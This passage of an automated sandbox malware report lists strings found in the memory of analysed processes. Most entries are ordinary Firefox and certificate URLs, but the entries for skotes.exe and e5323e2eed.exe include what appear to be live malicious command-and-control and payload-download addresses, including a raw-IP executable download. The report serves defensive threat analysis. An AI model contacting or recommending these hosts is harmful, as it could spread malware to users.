Source: skotes.exe, 00000006.00000002.3419368959.0000000001AB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpt
Source: skotes.exe, 00000006.00000002.3419368959.0000000001AB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpx
Source: skotes.exe, 00000006.00000002.3419368959.0000000001AA5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe
Source: skotes.exe, 00000006.00000002.3419368959.0000000001AA5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe43/
Source: skotes.exe, 00000006.00000002.3419368959.0000000001AA5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe50encoded
Source: 51d383286f.exe, 00000008.00000003.3009530162.0000000005E70000.00000004.00000800.00020000.00000000.sdmp, 51d383286f.exe, 0000000A.00000003.3199305846.00000000058CC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3326689392.000001D16E6E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: 51d383286f.exe, 00000008.00000003.3009530162.0000000005E70000.00000004.00000800.00020000.00000000.sdmp, 51d383286f.exe, 0000000A.00000003.3199305846.00000000058CC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3326689392.000001D16E6E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: firefox.exe, 0000001B.00000002.3309373504.000001D16A173000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3312661630.000001D16B21C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%s
Source: firefox.exe, 0000001B.00000002.3311784302.000001D16B0C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%ss
Source: 51d383286f.exe, 00000008.00000003.2955646578.000000000178C000.00000004.00000020.00020000.00000000.sdmp, 51d383286f.exe, 00000008.00000003.3005078237.0000000001774000.00000004.00000020.00020000.00000000.sdmp, 51d383286f.exe, 00000008.00000003.2990014890.0000000001778000.00000004.00000020.00020000.00000000.sdmp, 51d383286f.exe, 00000008.00000003.2972431197.0000000001774000.00000004.00000020.00020000.00000000.sdmp, 51d383286f.exe, 00000008.00000003.2973490567.0000000001779000.00000004.00000020.00020000.00000000.sdmp, 51d383286f.exe, 00000008.00000003.3052144579.0000000001774000.00000004.00000020.00020000.00000000.sdmp, 51d383286f.exe, 00000008.00000003.3027483496.0000000001777000.00000004.00000020.00020000.00000000.sdmp, 51d383286f.exe, 00000008.00000003.3011062544.0000000001777000.00000004.00000020.00020000.00000000.sdmp, 51d383286f.exe, 00000008.00000003.2991245775.0000000001776000.00000004.00000020.00020000.00000000.sdmp, 51d383286f.exe, 00000008.00000003.3063411149.0000000001774000.00000004.00000020.00020000.00000000.sdmp, 51d383286f.exe, 0000000A.00000002.3420531192.00000000013B7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micro
Source: 51d383286f.exe, 00000008.00000003.3009530162.0000000005E70000.00000004.00000800.00020000.00000000.sdmp, 51d383286f.exe, 0000000A.00000003.3199305846.00000000058CC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3326689392.000001D16E6E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: 51d383286f.exe, 00000008.00000003.3009530162.0000000005E70000.00000004.00000800.00020000.00000000.sdmp, 51d383286f.exe, 0000000A.00000003.3199305846.00000000058CC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3326689392.000001D16E6E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: 51d383286f.exe, 00000008.00000003.3009530162.0000000005E70000.00000004.00000800.00020000.00000000.sdmp, 51d383286f.exe, 0000000A.00000003.3199305846.00000000058CC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3326689392.000001D16E6E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: 51d383286f.exe, 00000008.00000003.3009530162.0000000005E70000.00000004.00000800.00020000.00000000.sdmp, 51d383286f.exe, 0000000A.00000003.3199305846.00000000058CC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3326689392.000001D16E6E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: 51d383286f.exe, 00000008.00000003.3009530162.0000000005E70000.00000004.00000800.00020000.00000000.sdmp, 51d383286f.exe, 0000000A.00000003.3199305846.00000000058CC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3326689392.000001D16E6E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: firefox.exe, 0000001B.00000002.3314889990.000001D16B63C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3318960215.000001D16D6B5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3326689392.000001D16E63F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3348813034.000001D16F338000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com
Source: firefox.exe, 0000001B.00000002.3367376617.000001D17079F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3309373504.000001D16A1E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/canonical.html
Source: firefox.exe, 0000001B.00000003.3233212247.000001D175DCE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3329197186.000001D16E903000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3389931176.000001D176027000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv4
Source: firefox.exe, 0000001B.00000002.3385166704.000001D175D9A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3358978481.000001D16F97E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3389931176.000001D176027000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv6
Source: firefox.exe, 0000001B.00000002.3318960215.000001D16D6E6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com0
Source: firefox.exe, 0000001B.00000002.3302900599.000001D169726000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/common
Source: firefox.exe, 0000001B.00000002.3302900599.000001D169761000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/dates-and-times
Source: firefox.exe, 0000001B.00000002.3302900599.000001D169726000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/math
Source: firefox.exe, 0000001B.00000002.3302900599.000001D169761000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/regular-expressions
Source: firefox.exe, 0000001B.00000002.3302900599.000001D169726000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/sets
Source: firefox.exe, 0000001B.00000002.3292161020.000001D15DE03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/strings
Source: e5323e2eed.exe, 00000007.00000002.3407975740.00000000007FA000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://home.fvtejj5vs.top/rUdtpijYYaAroyCEkvvS17
Source: e5323e2eed.exe, 00000007.00000002.3426311190.000000000147E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://home.fvtejj5vs.top/rUdtpijYYaAroyCEkvvS1731840403
Source: e5323e2eed.exe, 00000007.00000002.3426311190.000000000147E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://home.fvtejj5vs.top/rUdtpijYYaAroyCEkvvS1731840403U
Source: e5323e2eed.exe, 00000007.00000002.3407975740.00000000007FA000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://home.fvtejj5vs.top/rUdtpijYYaAroyCEkvvS1731840403libgcc_s_dw2-1.dll__register_frame_info__der
Source: e5323e2eed.exe, 00000007.00000003.2835253190.00000000071A2000.00000004.00001000.00020000.00000000.sdmp, e5323e2eed.exe, 00000007.00000002.3407975740.00000000007FA000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://html4/loose.dtd
Source: firefox.exe, 0000001B.00000002.3367376617.000001D17078B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://json-schema.org/draft-04/schema#
Source: firefox.exe, 0000001B.00000002.3367376617.000001D17078B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://json-schema.org/draft-06/schema#
Source: firefox.exe, 0000001B.00000002.3367376617.000001D17078B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://json-schema.org/draft-07/schema#-
Source: firefox.exe, 0000001B.00000002.3406053567.0000342CB2700000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.o
Source: firefox.exe, 0000001B.00000002.3367376617.000001D17078B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3350199930.000001D16F481000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3405593566.00002FA5A8204000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org
Source: firefox.exe, 0000001B.00000002.3405593566.00002FA5A8204000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/
Source: firefox.exe, 0000001B.00000002.3335121581.000001D16EB7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/addonsFeatureGate
Source: firefox.exe, 0000001B.00000002.3335121581.000001D16EB7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/addonsFeatureGateresource://activity-stream/lib/ASRouterTargeting.js
Source: firefox.exe, 0000001B.00000002.3335121581.000001D16EB7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/addonsShowLessFrequentlyCap
Source: firefox.exe, 0000001B.00000002.3335121581.000001D16EB7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/addonsUITreatment
Source: firefox.exe, 0000001B.00000002.3335121581.000001D16EB7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/addonsUITreatmenthttp://mozilla.org/#/properties/addonsShowLessFrequ
Source: firefox.exe, 0000001B.00000002.3335121581.000001D16EB7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/autoFillAdaptiveHistoryEnabled
Source: firefox.exe, 0000001B.00000002.3335121581.000001D16EB7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bestMatchBlockingEnabled
Source: firefox.exe, 0000001B.00000002.3335121581.000001D16EB7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bestMatchBlockingEnabledbrowser.newtabpage.activity-stream.feeds.sni
Source: firefox.exe, 0000001B.00000002.3335121581.000001D16EB7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bestMatchEnabledhttp://mozilla.org/#/additionalProperties
Source: firefox.exe, 0000001B.00000002.3335121581.000001D16EB7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bestMatchEnabledhttp://mozilla.org/#/additionalPropertiesawesome-bar
Source: firefox.exe, 0000001B.00000002.3335121581.000001D16EB7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0/items
Source: firefox.exe, 0000001B.00000002.3335121581.000001D16EB7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items
Source: firefox.exe, 0000001B.00000002.3335121581.000001D16EB79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/features/items/properties/value/ad
Source: firefox.exe, 0000001B.00000002.3335121581.000001D16EB7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/itemshttp://mozilla.org/#/properties/proposedEnroll
Source: firefox.exe, 0000001B.00000002.3335121581.000001D16EB7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items
Source: firefox.exe, 0000001B.00000002.3335121581.000001D16EB79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items/properties/features/items/properties/value/ad
Source: firefox.exe, 0000001B.00000002.3335121581.000001D16EB7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/itemsbrowser.newtabpage.activity-stream.asrouter.us
Source: firefox.exe, 0000001B.00000002.3335121581.000001D16EB7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/ehPreloadEnabledhttp://mozilla.org/#/properties/networkPredictor
Source: firefox.exe, 0000001B.00000002.3335121581.000001D16EB7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/enrollmentEndDate
Source: firefox.exe, 0000001B.00000002.3335121581.000001D16EB7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/experimentType
Source: firefox.exe, 0000001B.00000002.3335121581.000001D16EB7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/exposureResults
Source: firefox.exe, 0000001B.00000002.3335121581.000001D16EB7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/featureValidationOptOut
Source: firefox.exe, 0000001B.00000002.3335121581.000001D16EB7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/isBestMatchExperiment
Source: firefox.exe, 0000001B.00000002.3335121581.000001D16EB7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/localizations/anyOf/0
Source: firefox.exe, 0000001B.00000002.3335121581.000001D16EB7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/localizations/anyOf/0https://static.adsafeprotected.com/firefox-etp-
Source: firefox.exe, 0000001B.00000002.3335121581.000001D16EB7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/localizations/anyOf/1
Source: firefox.exe, 0000001B.00000002.3335121581.000001D16EB7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/mdnFeatureGate
Source: firefox.exe, 0000001B.00000002.3335121581.000001D16EB7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/mdnFeatureGatehttp://mozilla.org/#/properties/merinoProviders
Source: firefox.exe, 0000001B.00000002.3335121581.000001D16EB7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/merinoClientVariants
Source: firefox.exe, 0000001B.00000002.3335121581.000001D16EB7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/merinoEnabled
Source: firefox.exe, 0000001B.00000002.3335121581.000001D16EB7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/merinoEnableddisabled_picture_in_picture_overrides.piped
Source: firefox.exe, 0000001B.00000002.3335121581.000001D16EB7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/merinoEndpointURL
Source: firefox.exe, 0000001B.00000002.3335121581.000001D16EB7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/merinoEndpointURLhttp://mozilla.org/#/properties/quickSuggestScoreMa
Source: firefox.exe, 0000001B.00000002.3335121581.000001D16EB7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/merinoProviders
Source: firefox.exe, 0000001B.00000002.3335121581.000001D16EB7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/merinoTimeoutMs
Source: firefox.exe, 0000001B.00000002.3335121581.000001D16EB7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/merinoTimeoutMshttp://mozilla.org/#/properties/exposureResultspictur
Source: firefox.exe, 0000001B.00000002.3335121581.000001D16EB7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/outcomes/items/properties/slug
Source: firefox.exe, 0000001B.00000002.3335121581.000001D16EB7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/outcomes/items/properties/slughttps://static.adsafeprotected.com/fir
Source: firefox.exe, 0000001B.00000002.3335121581.000001D16EB7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/pocketFeatureGate
Source: firefox.exe, 0000001B.00000002.3335121581.000001D16EB7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/pocketShowLessFrequentlyCap
Source: firefox.exe, 0000001B.00000002.3335121581.000001D16EB7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/pocketShowLessFrequentlyCaphttp://mozilla.org/#/properties/quickSugg
Source: firefox.exe, 0000001B.00000002.3335121581.000001D16EB7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/preconnect
Source: firefox.exe, 0000001B.00000002.3335121581.000001D16EB7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/proposedEnrollment
Source: firefox.exe, 0000001B.00000002.3335121581.000001D16EB7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestBlockingEnabled
Source: firefox.exe, 0000001B.00000002.3335121581.000001D16EB7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestBlockingEnabledhttp://mozilla.org/#/properties/showExpos
Source: firefox.exe, 0000001B.00000002.3335121581.000001D16EB7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestEnabled
Source: firefox.exe, 0000001B.00000002.3335121581.000001D16EB7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestNonSponsoredEnabled
Source: firefox.exe, 0000001B.00000002.3335121581.000001D16EB7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestNonSponsoredEnabledbrowser.safebrowsing.features.cryptom
Source: firefox.exe, 0000001B.00000002.3335121581.000001D16EB7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestNonSponsoredIndex
Source: firefox.exe, 0000001B.00000002.3335121581.000001D16EB7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestNonSponsoredIndexurlclassifier.features.socialtracking.a
Source: firefox.exe, 0000001B.00000002.3335121581.000001D16EB7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestScenario
Source: firefox.exe, 0000001B.00000002.3335121581.000001D16EB7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestScenariobrowser.safebrowsing.features.fingerprinting.ann
Source: firefox.exe, 0000001B.00000002.3335121581.000001D16EB7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestScoreMap
Source: firefox.exe, 0000001B.00000002.3335121581.000001D16EB7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestSponsoredEnabled
Source: firefox.exe, 0000001B.00000002.3335121581.000001D16EB7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestSponsoredIndex
Source: firefox.exe, 0000001B.00000002.3335121581.000001D16EB7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestSponsoredIndexurlclassifier.features.cryptomining.blackl
Source: firefox.exe, 0000001B.00000002.3335121581.000001D16EB7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/showExposureResults
Source: firefox.exe, 0000001B.00000002.3335121581.000001D16EB7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/showSearchTermsFeatureGate
Source: firefox.exe, 0000001B.00000002.3335121581.000001D16EB7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/showSearchTermsFeatureGateurlclassifier.features.emailtracking.block
Source: firefox.exe, 0000001B.00000002.3335121581.000001D16EB7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/weatherFeatureGate
Source: firefox.exe, 0000001B.00000002.3335121581.000001D16EB7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/weatherFeatureGatebrowser.safebrowsing.features.socialtracking.annot
Source: firefox.exe, 0000001B.00000002.3335121581.000001D16EB7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/weatherKeywords
Source: firefox.exe, 0000001B.00000002.3335121581.000001D16EB7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/weatherKeywordsMinimumLength
Source: firefox.exe, 0000001B.00000002.3335121581.000001D16EB7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/weatherKeywordsMinimumLengthCap
Source: firefox.exe, 0000001B.00000002.3335121581.000001D16EB7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/weatherKeywordsMinimumLengthCapresource://activity-stream/lib/CFRPag
Source: firefox.exe, 0000001B.00000002.3335121581.000001D16EB7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/weatherKeywordsMinimumLengthresource://normandy/lib/PreferenceRollou
Source: firefox.exe, 0000001B.00000002.3335121581.000001D16EB7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/weatherKeywordsformautofill
Source: firefox.exe, 0000001B.00000002.3406053567.0000342CB2700000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/-#
Source: firefox.exe, 0000001B.00000002.3385166704.000001D175D9A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3388893559.000001D175F51000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3389931176.000001D176005000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3360602911.000001D170222000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3361240494.000001D170312000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3322971966.000001D16DF03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3376789596.000001D171787000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3186958874.000001D16E4C6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3369971998.000001D1708C2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3311784302.000001D16B006000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3347865690.000001D16F203000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3389931176.000001D176027000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/MPL/2.0/.
Source: firefox.exe, 0000001B.00000002.3406053567.0000342CB2700000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/Z
Source: firefox.exe, 0000001B.00000002.3406053567.0000342CB2700000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/i
Source: 51d383286f.exe, 00000008.00000003.3009530162.0000000005E70000.00000004.00000800.00020000.00000000.sdmp, 51d383286f.exe, 0000000A.00000003.3199305846.00000000058CC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3326689392.000001D16E6E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: 51d383286f.exe, 00000008.00000003.3009530162.0000000005E70000.00000004.00000800.00020000.00000000.sdmp, 51d383286f.exe, 0000000A.00000003.3199305846.00000000058CC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3326689392.000001D16E6E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: firefox.exe, 0000001B.00000002.3309373504.000001D16A173000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3312661630.000001D16B21C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 0000001B.00000002.3311784302.000001D16B0C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://poczta.interia.pl/mh/?mailto=%sw
Source: firefox.exe, 0000001B.00000002.3311784302.000001D16B034000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://r3.i.lencr.org/0.
Source: firefox.exe, 0000001B.00000002.3386798370.000001D175EF3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3361240494.000001D17035A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://r3.i.lencr.org/0W
Source: firefox.exe, 0000001B.00000002.3386798370.000001D175EF3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3361240494.000001D17035A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3311784302.000001D16B034000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://r3.o.lencr.org0
Source: firefox.exe, 0000001B.00000002.3309373504.000001D16A173000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3312661630.000001D16B21C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://win.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: firefox.exe, 0000001B.00000002.3309373504.000001D16A173000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://win.mail.ru/cgi-bin/sentmsg?mailto=%sresource://gre/modules/FileUtils.sys.mjsresource://gre/m
Source: firefox.exe, 0000001B.00000002.3311784302.000001D16B0C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://win.mail.ru/cgi-bin/sentmsg?mailto=%sy
Source: firefox.exe, 0000001B.00000002.3309373504.000001D16A173000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3312661630.000001D16B21C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%s
Source: firefox.exe, 0000001B.00000002.3309373504.000001D16A173000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%shttps://mail.inbox.lv/compose?to=%s
Source: firefox.exe, 0000001B.00000002.3311784302.000001D16B0C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%su
Source: firefox.exe, 0000001B.00000002.3309373504.000001D16A1E1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3309373504.000001D16A146000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3314889990.000001D16B6A2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3311784302.000001D16B034000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul
Source: firefox.exe, 0000001B.00000002.3364675652.000001D170588000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul8
Source: firefox.exe, 0000001B.00000002.3309373504.000001D16A1E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulh.rev_host
Source: firefox.exe, 0000001B.00000002.3309373504.000001D16A1E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulhttp://www.mozilla.org/keymaster/gateke
Source: firefox.exe, 0000001B.00000002.3309373504.000001D16A1E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulresource:///modules/QuickActionsLoaderD
